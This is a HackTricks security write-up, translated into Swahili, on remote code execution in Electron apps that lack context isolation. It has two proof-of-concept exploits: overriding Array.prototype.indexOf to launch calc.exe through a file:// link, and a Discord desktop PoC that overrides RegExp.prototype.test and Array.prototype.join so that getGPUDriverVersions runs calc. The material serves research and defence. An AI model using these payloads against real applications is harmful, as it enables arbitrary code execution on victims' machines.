Electron contextIsolation RCE via preload code

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Mfano 1

Mfano kutoka https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Msimbo huu hufungua viungo vya http(s) kwa kivinjari cha msingi:

Kitu kama file:///C:/Windows/systemd32/calc.exe kinaweza kutumika kutekeleza kifaa cha kuhesabu, SAFE_PROTOCOLS.indexOf inazuia hilo.

Hivyo, muhusika anaweza kuingiza msimbo huu wa JS kupitia XSS au urambazaji wa ukurasa wa kiholela:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Kwa kuwa wito kwa SAFE_PROTOCOLS.indexOf utarudi 1337 kila wakati, mshambuliaji anaweza kukiuka ulinzi na kutekeleza kikokotoo. Exploit ya mwisho:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Angalia slaidi za asili kwa njia nyingine za kutekeleza programu bila kuuliza idhini.

Inaonekana njia nyingine ya kupakia na kutekeleza nambari ni kwa kupata kitu kama file://127.0.0.1/electron/rce.jar

Mfano 2: Discord App RCE

Mfano kutoka https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Nilipokuwa nikichunguza skripti za kupakia, niligundua kwamba Discord inafunua kazi, ambayo inaruhusu moduli zilizoruhusiwa kuitwa kupitia DiscordNative.nativeModules.requireModule('JINA-LA-MODULE'), kwenye ukurasa wa wavuti. Hapa, sikweza kutumia moduli ambazo zinaweza kutumika moja kwa moja kwa RCE, kama vile moduli ya child_process, lakini niligundua namna ambapo RCE inaweza kupatikana kwa kubadilisha njia za kujengwa za JavaScript na kuingilia kati na utekelezaji wa moduli iliyofunuliwa.

Yafuatayo ni PoC. Nilithibitisha kuwa programu ya calc inatokea wakati ninap**iga simu kwa kazi ya getGPUDriverVersions ambayo imedefiniwa katika moduli iliyoitwa "discord_utils" kutoka kwa devTools, wakati nikibadilisha RegExp.prototype.test na Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Funguo ya getGPUDriverVersions inajaribu kutekeleza programu kwa kutumia maktaba ya "execa", kama ifuatavyo:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Kawaida execa jaribu kutekeleza "nvidia-smi.exe", ambayo imebainishwa katika kifungu cha nvidiaSmiPath, hata hivyo, kutokana na RegExp.prototype.test iliyobadilishwa na Array.prototype.join, hoja inabadilishwa kuwa "calc" katika usindikaji wa ndani wa _execa_**.

Hasa, hoja inabadilishwa kwa kubadilisha sehemu mbili zifuatazo.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated